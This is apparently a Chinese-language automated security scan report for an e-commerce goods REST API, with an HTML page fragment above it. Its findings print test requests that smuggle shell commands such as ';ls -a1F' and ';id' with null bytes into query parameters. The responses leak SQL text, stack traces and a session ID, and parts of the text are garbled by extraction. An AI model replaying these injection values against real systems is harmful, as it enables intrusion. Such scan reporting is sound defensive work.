   <!-- Modernizr (browser feature detection library) -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
  <!-- Login Background -->
. . .
. . .
   <!-- END Modal Terms -->
   <!-- jQuery, Bootstrap.js, jQuery plugins and Custom JS code -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/demo/js/plugins.js"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/demo/js/app.js"></script>
   <script>
       $(function () {
. . .
. . .
```

问题 1 / 11

TOC

发现数据库错误模式	
严重性:	fit.
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	searchValue (Global)
风险:	可能会查看、修改或删除数据库条目和表
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: —至: %3Bls%20-a1F%00

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=%3Bls%2
0-a1F%00 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:55 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
### Error querying database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte
sequence for encoding "UTF8": 0x00
### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubGoodsStockMapper.xml]
### The error may involve com.suneee.scn.goods.dao.PubGoodsStockDao.getGoodsStockListCount-Inline
### The error occurred while setting parameters
### SQL: select count(1) from pub_goods_stock pgs INNER pgs.goodsid=pg.goodsid and pg.status =1 WHERE pgs.enterpriseid =?
                                                                 INNER JOIN pub_goods pg on
                                                                           and pgs.departmentid=?
and (pg.goodsname like '%'||?||'%' OR pg.goodscode like '%'||?||'%')
### Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8":
0x00
; SQL []; ERROR: invalid byte sequence for encoding "UTF8": 0x00; nested exception is
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8": 0x00
```

问题 2 / 11 Toc

发现数据库错误模式	
严重性:	低 (K)
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	goodscode (Global)
风险:	可能会查看、修改或删除数据库条目和表
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: — 至: \$3Bls\$20-a1F\$00

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
{\tt GET /goodsRestApi/exportGoodsInfo?goodsids=\&goodsname=\&opcode=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\&goodscode=\$3Bls\$20-dsids=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=\&goodscode=
a1F%00&gsbmid=&approvaltypeid=&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; g=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:33 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
### Error querying database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte
sequence for encoding "UTF8": 0x00
### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubGoodsMapper.xml]
### The error may involve com.suneee.scn.goods.dao.PubGoodsDao.selectReportList-Inline
### The error occurred while setting parameters
### SQL: select goodsid, pg.enterpriseid, enterprisecode, goodscode, opcode, goodsname,
goodstype, departmentid, goodsunit, goodsspec, goodsmodel, Dianulu, Speciment, bookindate, pg.status, priceflag, stupperlimit, stlowerlimit, barcode,
                                     smallscaleflag, lastupdateerid, lastupdateername, lastupdatedate,
classcodeflag,
goodsclassid, taxinprice,
                                                               intax, baseprice, wsaleprice, wdis, o2osaleprice, tmallsaleprice,
saleprice, minprice,
                                                   outtax, memo1, memo2, memo3, memo4,inputmanname, factoryname,
notaxprice, sendstatus, warehouseid, supplierid, pgc.classname
classname,pg.goodslevelid,pg.approvaltypeid,pg.gsbmid, case when pat.approvaltypename is null
then '不审批' else pat.approvaltypename end approvaltypename,pggb.gsbmname,pg.level FROM
```

问题 **3 / 11** Toc

发现数据库错误模式	
严重性:	€ Control of the con
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	goodsids (Global)
风险:	可能会查看、修改或删除数据库条目和表
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: - 至: \$3Bls\$20-alf\$00

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?goodsids=%3Bls%20-
\verb|a1F\%00\&goodsname=&opcode=&goodscode=&gsbmid=&approval typeid=&goodslevelid= HTTP/1.1|
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
  \label{eq:accept: decomposition}  \textbf{Accept: text/html,application/xml;q=0.9,image/webp,*/*;q=0.8} 
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:28 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
### Error querying database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte
sequence for encoding "UTF8": 0x00
### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubGoodsMapper.xml]
### The error may involve com.suneee.scn.goods.dao.PubGoodsDao.selectReportList-Inline
### The error occurred while setting parameters
```

```
### SQL: select goodsid, pg.enterpriseid, enterprisecode, goodscode, opcode, goodsname, goodstype, departmentid, goodsunit, goodsspec, goodsmodel, brandid, specmodel, factoryid, prodarea, inputmanid, bookindate, pg.status, priceflag, stupperlimit, stlowerlimit, barcode, classcodeflag, smallscaleflag, lastupdateerid, lastupdateername, lastupdatedate, goodsclassid, taxinprice, intax, baseprice, wsaleprice, wdis, o2osaleprice, tmallsaleprice, saleprice, minprice, outtax, memol, memo2, memo3, memo4, inputmanname, factoryname, notaxprice, sendstatus, warehouseid, supplierid, pg.classname classname, pg.goodslevelid, pg.approvaltypeid, pg.gsbmid, case when pat.approvaltypename is null then '不审批' else pat.approvaltypename end approvaltypename, pggb.gsbmname, pg.level FRCM pub_goods pg LEFT JOIN pub_goodsclass pgc ON pg.goodsclassid = pgc.classid and pgc.status=1 and pgc.enterpriseid = ? LEFT JOIN pub_approval_type pat ON pat.approvaltypeid = pg.approvaltypeid LEFT JOIN pub_goodsgbm pggb ON pggb.gsbmid = pg.gsbmid WHERE pg.status >= 1 and pg.enterpriseid = ? and CAST (goodsid AS text) in ( ? ) ORDER BY pg.bookindate desc , pg.lastupdatedate desc ### Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8": 0x00; postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8": 0x00
```

问题 4 / 11 Toc

发现数据库错误模式	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsListToBrand
实体:	keyword (Global)
风险:	可能会查看、修改或删除数据库条目和表
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: (dsfdsafsa 至: (dsfdsafsaWFXSSProbe\$27\$22\$29\$2F\$3E)

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword=dsfdsafsaWFXSSProbe%27%22%29%2F%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:04 GMT
```

```
Content-Type: application/json
Transfer-Encoding: chunked
   "data": [
   "returnCode": 0,
   "msg": "org.springframework.jdbc.BadSqlGrammarException: \n### Error querying database.
Cause: org.postgresql.util.PSQLException: ERROR: syntax error at or near \"\")/>%' or f.opcode
 like '%dsfdsafsaWFXSSProbe'\"\"\n Position: 132\n### The error may exist in URL
 [jar:file:/apps/provider/base/vr-base-provider-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubBrandMapper.xml]\n### The error may involve
com.suneee.scn.base.dao.PubBrandDao.selectByParam-Inline\n### The error occurred while setting
parameters\n### SQL: select * from pub_brand f where 1=1 and status=1 and enterpriseid=55 and (to_char(f.brandid ,'9999999') like '%dsfdsafsaWFXSSProbe'\")/>%' or f.opcode like
 \label{like of the def} $$ \ad fds afsaWFXSSProbe'\")/\s' or f.brandname like '%dsfds afsaWFXSSProbe'\")/\s') \n\#\# Cause: $$ \ad fds afsaWFXSSProbe'\")/\s' or f.brandname like '%dsfds afsaWFXSSProbe'\")/\s' o
org.postgresql.util.PSQLException: ERROR: syntax error at or near \"\")/>%' or f.opcode like
 '%dsfdsafsaWFXSSProbe'\"\"\n Position: 132\n; bad SQL grammar []; nested exception is
org.postgresql.util.PSQLException: ERROR: syntax error at or near \"\")/>%' or f.opcode like
 '%dsfdsafsaWFXSSProbe'\"\"\n Position: 132",
   "html": null
```

问题 5 / 11 Toc

发现数据库错误模式	
严重性:	低
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	goodsname (Global)
风险:	可能会查看、修改或删除数据库条目和表
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: — 至: **%3Bid%00**

惟理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&3Bid&00&opcode=&goodscode=&gsbmid=&approvaltypeid=&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
```

```
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:28 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
### Error querying database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte
sequence for encoding "UTF8": 0x00
### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubGoodsMapper.xml]
### The error may involve com.suneee.scn.goods.dao.PubGoodsDao.selectReportList-Inline
### The error occurred while setting parameters
### SQL: select goodsid, pg.enterpriseid, enterprisecode, goodscode, opcode, goodsname,
goodstype, departmentid, goodsunit, goodsspec, goodsmodel, prandard, specimodel, little produced, inputmanid, bookindate, pg.status, priceflag, stupperlimit, stlowerlimit, barcode,
classcodeflag,
                   smallscaleflag, lastupdateerid, lastupdateername, lastupdatedate,
goodsclassid, taxinprice, intax, baseprice, wsaleprice, wdis, o2osaleprice, tmallsaleprice, saleprice, minprice, outtax, memo1, memo2, memo4, inputmanname, factoryname,
notaxprice, sendstatus, warehouseid, supplierid, pgc.classname
classname,pg.goodslevelid,pg.approvaltypeid,pg.gsbmid, case when pat.approvaltypename is null
then '不审批' else pat.approvaltypename end approvaltypename,pggb.gsbmname,pg.level
pub goods pg
                  LEFT JOIN pub_goodsclass pgc ON pg.goodsclassid = pgc.classid
                                          LEFT JOIN pub_approval_type pat ON
LEFT JOIN pub_goodsgsbm pggb ON pggb.gsbmid =
pgc.status=1 and pgc.enterpriseid = ?
pat.approvaltypeid = pg.approvaltypeid
and pg.goodsname like
### Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8":
0x00
; SQL []; ERROR: invalid byte sequence for encoding "UTF8": 0x00; nested exception is
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8": 0x00
```

问题 6 / 11 Toc

发现数据库错误模式	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	opcode (Global)
风险:	可能会查看、修改或删除数据库条目和表
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: — 至: \$3Bls\$20-alf\$00

惟理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?goodsids=&goodsname=&opcode=%3Bls%20-a1F%00&goodscode=&gsbmid=&approvaltypeid=&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
```

```
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:29 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
### Error querying database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte
sequence for encoding "UTF8": 0x00
### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubGoodsMapper.xml]
### The error may involve com.suneee.scn.goods.dao.PubGoodsDao.selectReportList-Inline
### The error occurred while setting parameters
### SQL: select goodsid, pg.enterpriseid, enterprisecode, goodscode, opcode, goodsname,
goodstype, departmentid, goodsunit, goodsspec, goodsmodel, prandard, specimodel, little produced, inputmanid, bookindate, pg.status, priceflag, stupperlimit, stlowerlimit, barcode,
                  smallscaleflag, lastupdateerid, lastupdateername, lastupdatedate,
classcodeflag,
goodsclassid, taxinprice, intax, baseprice, wsaleprice, wdis, o2osaleprice, tmallsaleprice, saleprice, minprice, outtax, memo1, memo2, memo4, inputmanname, factoryname,
notaxprice, sendstatus, warehouseid, supplierid, pgc.classname
then '不审批' else pat.approvaltypename end approvaltypename,pggb.gsbmname,pg.level
                                                                                         FROM
                 LEFT JOIN pub_goodsclass pgc ON pg.goodsclassid = pgc.classid
                                         LEFT JOIN pub_approval_type pat ON
pgc.status=1 and pgc.enterpriseid = ?
pat.approvaltypeid = pg.approvaltypeid
                                              LEFT JOIN pub_goodsgsbm pggb ON pggb.gsbmid =
and pg.opcode like
### Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8":
0.00
; SQL []; ERROR: invalid byte sequence for encoding "UTF8": 0x00; nested exception is
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8": 0x00
```

问题 **7 / 11** TOC

发现数据库错误模式	
严重性:	€
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassList
实体:	classcode (Global)
风险:	可能会查看、修改或删除数据库条目和表
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: 03 至: \$3Bid\$00

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=7&start=0&length=15&search%5Bregex%5D=false&pageNum=1&classcode=%3Bid%00&searchValue=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57 0 2987 133 Safari/537 36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
  "data": [
    "returnCode": 0,
                                           错误代码:LUO003C\r\n错误信息:查询商品分类失败
   "msa": "e:
\r\nStackTrace:org.springframework.dao.DataIntegrityViolationException: \n### Error querying
database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding
\"UTF8\": 0x00\n### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-
enterprise-1.0.0-SNAPSHOT.jar!/mybatisMap/PubGoodsclassMapper.xml]\n### The error may involve
com.suneee.scn.goods.dao.PubGoodsclassDao.findGoodsclassForPage-Inline\n### The error occurred
while setting parameters\n### SQL: select
                                                                                                                          enterpriseid, classid, classcode, classname,
level, endflag, status, parentcode, imgurl, seq,
                                                                                                                                  (select classname from pub goodsclass b
where b.classcode = a.parentcode and b.enterpriseid =a.enterpriseid limit 1 ) parentclassname
from pub_goodsclass a where 1=1
                                                                                                       and enterpriseid=?
                                                                                                                                                                              and classcode like
                                                            order by classid desc
                                                                                                                                    limit ? offset ?\n### Cause:
CONCAT('',?,'%')
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n;
SQL []; ERROR: invalid byte sequence for encoding \"UTF8\": 0x00; nested exception is
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n\tat
\verb|org.springframework.jdbc.support.| \\ \frac{\texttt{SQLState}}{\texttt{SQLExceptionTranslator.doTranslate}} \\ (\frac{\texttt{SQLState}}{\texttt{SQLExceptionTranslator.doTranslate}} \\ (\frac{\texttt{SQLState}}{\texttt{SQLExceptionTranslate}} \\ (\frac{\texttt{SQLState}}{\texttt{SQLExceptionTranslate} \\ (\frac{\texttt{SQLExceptionTranslate}}{\texttt{SQLExceptionTranslate}} \\ (\frac{\texttt{SQLExceptionTranslate}}{\texttt{SQLExceptionTranslate} \\ (\frac{\texttt{SQLExceptionTranslate}}{\texttt{SQLExceptionTranslate}} \\ (\frac{\texttt
ranslator.java:102)\n\tat
orq.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSQLExceptionTranslator.java:81) \n\tat
kSQLExceptionTranslator.java:81) \n\tat
\verb|org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTranslator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.tra
ator.java:74)\n\tat
org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:399)\n
\tat com.sun.proxy.$Proxy31.selectList(Unknown Source)\n\tat
org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:205)\n\tat
org.apache.ibatis.binding.MapperMethod.executeForMany(MapperMethod.java:114)\n\tat
org.apache.ibatis.binding.MapperMethod.execute(MapperMethod
. . .
. . .
tHandler.channelRead0(RequestHandler.java:52)\n\tat
tat
\verb|io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja)| \\
va:363) \n\tat
io.netty.channel.AbstractChannelHandlerContext.access$600(AbstractChannelHandlerContext.java:38)
n\tat
io.nettv.channel.AbstractChannelHandlerContext$7.run(AbstractChannelHandlerContext.java:354)\n\ta
io.netty.util.concurrent.AbstractEventExecutor.safeExecute (AbstractEventExecutor.java:163) \n\tat
{\tt io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks} \\ ({\tt SingleThreadEventExecutor.java:403}) \\ \\ ({\tt SingleThreadEventExecutor.java:403}) \\ ({\tt SingleThreadEventExecutor.runAllTasks}) \\ ({\tt SingleThreadEventExecutor.java:403}) \\ ({\tt SingleThreadEventExecutor.runAllTasks}) \\ ({\tt SingleThreadEventExecutor.java:403}) \\ ({\tt SingleThreadEventExecutor.ja
) \n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445) \n\tat
io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)\n\ta
io.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.j
ava:144) \n\tat java.lang.Thread.run(Thread.java:745) \nCaused by:
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n\tat
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2182)\n\tat
```

```
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1911)\n\tat
org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:173)\n\tat
org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:618)\n\tat
org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:468)\n\tat
org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:468)\n\tat
com.alibaba.druid.pool.DruidPooledPreparedStatement.execute(DruidPooledPreparedStatement.java:493)\n\tat
org.apache.ibatis.executor.statement.PreparedStatementHandler.query(PreparedStatementHandler.java:56)\n\tat
org.apache.ibatis.executor.statement.RoutingStatementHandler.query(RoutingStatementHandler.java:
...
...
...
```

问题 **8 / 11** Toc

发现数据库错误模式	
严重性:	1E
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassList
实体:	searchValue (Global)
风险:	可能会查看、修改或删除数据库条目和表
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

